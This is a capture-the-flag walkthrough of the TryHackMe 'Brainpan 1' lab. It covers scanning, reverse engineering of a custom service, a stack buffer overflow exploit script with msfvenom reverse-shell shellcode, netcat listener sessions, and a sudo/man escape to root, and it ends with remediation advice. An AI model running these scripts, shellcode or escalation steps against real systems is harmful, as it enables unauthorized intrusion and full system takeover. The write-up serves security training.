Brainpan 1 Walkthrough - TryHackMe

Brainpan 1

Brainpan 1 is a vulnerable GNU/Linux host on TryHackMe. This post will outline the penetration testing methodology used against the target and detail steps on how to successfully exploit the target.


Using Nmap, we run a TCP SYN scan along with a UDP scan. The UDP scan comes up empty, but the TCP scan reveals some interesting services:

# Nmap 7.94 scan initiated Sat Oct 28 14:11:56 2023 as: nmap -sSV -p- -A -Pn -v -oA brainpan
Nmap scan report for
Host is up (0.091s latency).
Not shown: 65533 closed tcp ports (reset)
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Uptime guess: 0.001 days (since Sat Oct 28 14:14:31 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE (using port 256/tcp)
1   89.88 ms
2   89.94 ms

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Sat Oct 28 14:15:32 2023 -- 1 IP address (1 host up) scanned in 215.73 seconds

The output from the scan reveals that the target is running two different service on two different ports. Port 9999/tcp appears to be running a custom application while port 10000/tcp is running a SimpleHTTPServer web server.


Interacting with the web server, we find a safe coding infographic page and enumerate directories with a directory brute force.


└─$ gobuster dir -u -w /usr/share/dirb/wordlists/big.txt                                                                        1 ⨯
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
Starting gobuster in directory enumeration mode
/bin                  (Status: 301) [Size: 0] [--> /bin/]
Progress: 20469 / 20470 (100.00%)

This reveals an interesting /bin/ directory. Navigating to this directory reveals what appears to be a Windows executable that we can download.


Running it using Wine, we see a custom application. It appears to be the same as the one running on port 9999/tcp of the target host.

└─$ wine brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

Interacting with the service we see that it’s requesting a password:

└─$ nc localhost 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> admin
                          ACCESS DENIED

Connecting to the same port on the target host reveals the same service. Given we have the binary, let’s try and analyse it a little more closely in a software reverse engineering tool.


Looking for strings in Ghidra reveals an unusual “shitstorm” string within a strcmp() function. A quick bit of research makes clear that the the function in C compares two strings character by character. If the strings are equal, the function returns 0. This could be the password for logging into the service.

└─$ nc 9999 
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> shitstorm
                          ACCESS GRANTED                                

This time we get an “Access Granted” message but the application immediately exits. Taking a closer look again at the decompiled code we can see that it’s using the unsafe strcpy function, copying our input into a buffer without checking the input first. We confirm this after generating and sending a 600 byte string to the application.

└─$ msf-pattern_create -l 600
└─$ nc localhost 9999        
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

This causes the application to segfault.

┌──(kali㉿kali)-[~]                                                                                                            [69/537]
└─$ wine brainpan.exe                                                                                                                                      5 ⨯
[+] initializing winsock...done.                                               
[+] server socket created.                                                     
[+] bind done on port 9999                                                     
[+] waiting for connections.                                                   
[+] received connection.                                                       
[get_reply] s = [Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2A
[get_reply] copied 601 bytes to buffer                                         
wine: Unhandled page fault on read access to 35724134 at address 35724134 (thread 0024), starting debugger..

Vulnerability Assessment

Our enumeration and attacks have revealed a DoS and potential stack buffer overflow vulnerability in the application running on port 9999/TCP of the target. We may be able to successfully exploit this vulnerability and achieve remote code execution to gain a foothold on the target.


Having confirmed a stack buffer overflow vulnerability, we now need to find the exact offset at which the EIP is overwritten. For this, we generate a 600 byte (or more) pattern set to use as our payload

msf-pattern_create -l 600

We then copy the pattern set into our Python script:

#!/usr/bin/env python3

import sys
import os
import socket
import struct

if len (sys.argv) != 2:
    print("[!] Insufficient amount of arguments.")
    print(f"[*] Usage: /usr/bin/python3 {sys.argv[0]} <host>")
    sys.exit (1)

host = sys.argv[1]

msf = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
end = b"\r\n"

buffer = msf + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 9999))

print("[+] Payload sent.")

We send the payload, and with the application crashing again, we observe the address the EIP points to and can identify the exact offset by adding it as the -q parameter for msf-pattern_offset including the pattern length of 600 (-l 600). The exact match comes back as 524

Now that we have the correct offset, we can verify this by updating our Python script, sending 524 bytes, followed by four ‘C’ characters. The EIP now points to 43434343, the hexadecimal representation of CCCC. This confirms that we have the correct offset.


From here we go through the process of checking for bad characters to avoid in the shellcode we will generate later on. We send all possible characters, from 0x00 to 0xFF, as part of our buffer, and see how the application deals with these characters after the crash. In this case, there is only the null byte (0x00) character to avoid.

Our next task is to find a way to redirect the execution flow to the shellcode located at the memory address that the ESP register is pointing to at the time of the crash.

One solution is to leverage a JMP ESP instruction, which ‘jumps’ to the address pointed to by ESP when it executes. If we can find a reliable, static address that contains this instruction, we can redirect EIP to this address and at the time of the crash, the JMP ESP instruction will be executed. This will lead the execution flow into our shellcode.

Many support libraries in Windows contain this commonly-used instruction but we need to find a reference that meets certain criteria. First, the addresses used in the library must be static, which eliminates libraries compiled with ASLR support. Second, the address of the instruction must not contain any previously identified bad characters that would break the exploit, since the address will be part of our input buffer.

Using Immunity Debugger’s ‘Mona’ Python script, we can find such an address.


Given the likely architecture of the target operating system (x86 or AMD64), the return address will have to be stored in little-endian format (reverse order) in our buffer for the CPU to interpret it correctly in memory.

After generating our shellcode, We have everything we need to update our Python script before sending our reverse shell payload to the target. We also create a NOP sled to act as a wide landing pad for our JMP ESP, so that when execution lands anywhere on this pad, it will continue on to our payload.


import sys, socket

junk = b"\x41" * 524
return_address = b"\xf3\x12\x17\x31"
nops = b"\x90"*16

buf =  b""
buf += b"\xbb\x1d\xb9\xa1\xdb\xda\xd2\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x12\x31\x5d\x12\x83\xed\xfc\x03\x40"
buf += b"\xb7\x43\x2e\x4b\x1c\x74\x32\xf8\xe1\x28\xdf\xfc"
buf += b"\x6c\x2f\xaf\x66\xa2\x30\x43\x3f\x8c\x0e\xa9\x3f"
buf += b"\xa5\x09\xc8\x57\x3c\xe4\x07\xf2\x28\xfa\x57\xfd"
buf += b"\x13\x73\xb6\x4d\x05\xd4\x68\xfe\x79\xd7\x03\xe1"
buf += b"\xb3\x58\x41\x89\x25\x76\x15\x21\xd2\xa7\xf6\xd3"
buf += b"\x4b\x31\xeb\x41\xdf\xc8\x0d\xd5\xd4\x07\x4d"
end = b"\r\n"

buffer = junk + return_address + nops + buf + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 9999))

In anticipation of the reverse shell payload, we configure a Netcat listener on port 443 on our attacking machine and execute the exploit script. The exploit works and we have a user shell on the target with limited privileges, but it appears to be a GNU/Linux host as the application must be running in Wine.

└─$ sudo nc -nlvp 443          
[sudo] password for kali: 
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 38073
CMD Version 1.4.1

File not found.

Volume in drive Z has no label.
Volume Serial Number is 0000-0000

Directory of Z:\home\puck

  3/6/2013   3:23 PM  <DIR>         .
  3/4/2013  11:49 AM  <DIR>         ..
  3/6/2013   3:23 PM           513
  3/4/2013   2:45 PM  <DIR>         web
       1 file                       513 bytes
       3 directories     13,847,363,584 bytes free

Z:\home\puck>dir /
Invalid parameter.

Z:\home\puck>dir \
Volume in drive Z has no label.
Volume Serial Number is 0000-0000

Directory of Z:

  3/4/2013   1:02 PM  <DIR>         bin
  3/4/2013  11:19 AM  <DIR>         boot
10/30/2023   7:26 AM  <DIR>         etc
  3/4/2013  11:49 AM  <DIR>         home
  3/4/2013  11:18 AM    15,084,717  initrd.img
  3/4/2013  11:18 AM    15,084,717  initrd.img.old
  3/4/2013   1:04 PM  <DIR>         lib
  3/4/2013  10:12 AM  <DIR>         lost+found
  3/4/2013  10:12 AM  <DIR>         media
 10/9/2012   9:59 AM  <DIR>         mnt
  3/4/2013  10:13 AM  <DIR>         opt
  3/7/2013  11:07 PM  <DIR>         root
10/30/2023   7:26 AM  <DIR>         run
  3/4/2013  11:20 AM  <DIR>         sbin
 6/11/2012   9:43 AM  <DIR>         selinux
  3/4/2013  10:13 AM  <DIR>         srv
10/30/2023   8:37 AM  <DIR>         tmp
  3/4/2013  10:13 AM  <DIR>         usr
  8/5/2019   3:47 PM  <DIR>         var
 2/25/2013   2:32 PM     5,180,432  vmlinuz
 2/25/2013   2:32 PM     5,180,432  vmlinuz.old
       4 files               40,530,298 bytes
      17 directories     13,847,363,584 bytes free


We generate a new payload for GNU/Linux.

└─$ msfvenom -p msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 EXITFUNC=thread -b "\x00" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 479 bytes
buf =  b""
buf += b"\xb8\x13\x55\x0c\x0a\xd9\xea\xd9\x74\x24\xf4\x5b"
buf += b"\x2b\xc9\xb1\x12\x83\xc3\x04\x31\x43\x0e\x03\x50"
buf += b"\x5b\xee\xff\x67\xb8\x19\x1c\xd4\x7d\xb5\x89\xd8"
buf += b"\x08\xd8\xfe\xba\xc7\x9b\x6c\x1b\x68\xa4\x5f\x1b"
buf += b"\xc1\xa2\xa6\x73\xd8\x5a\x74\xd6\xb4\x60\x86\xd9"
buf += b"\xff\xec\x67\x69\x99\xbe\x36\xda\xd5\x3c\x30\x3d"
buf += b"\xd4\xc3\x10\xd5\x89\xec\xe7\x4d\x3e\xdc\x28\xef"
buf += b"\xd7\xab\xd4\xbd\x74\x25\xfb\xf1\x70\xf8\x7c"

Sending the exploit this time gives us a usable interactive shell.

└─$ sudo nc -nlvp 443                                                                                    
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 38074
python -c 'import pty; pty.spawn("/bin/sh")'

After extensive enumeration and searching for credentials in files and memory, we find that the user has sudo privileges.

$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

Running this command shows some interesting information:

$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

If manual is being used to run the man command, we could exploit this to access any system file as the root user or for a root shell. Testing this, shows that it’s indeed running the ‘man’ command.

$ sudo /home/anansi/bin/anansi_util manual
sudo /home/anansi/bin/anansi_util manual
No manual entry for manual

We can try and exploit this for our root shell.

 Manual page man(1) line 1 (press h for help or q to quit)!/bin/sh
# whoami
# id
uid=0(root) gid=0(root) groups=0(root)

We have our root shell.


There should be a review of all code that accepts input from users to ensure that it provides appropriate size checking on all such inputs. The sudo command should prompt for a password and sudo privileges should not be given to run binaries (especially as a root user) that can be used to bypass local security restrictions. By following the program name with the single argument “” in /etc/sudoers this can also prevent any runtime arguments from being authorised.

The OS and applications also need to be patched and updated to the latest versions where possible, so as to mitigate the risk of other potential exploits.

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.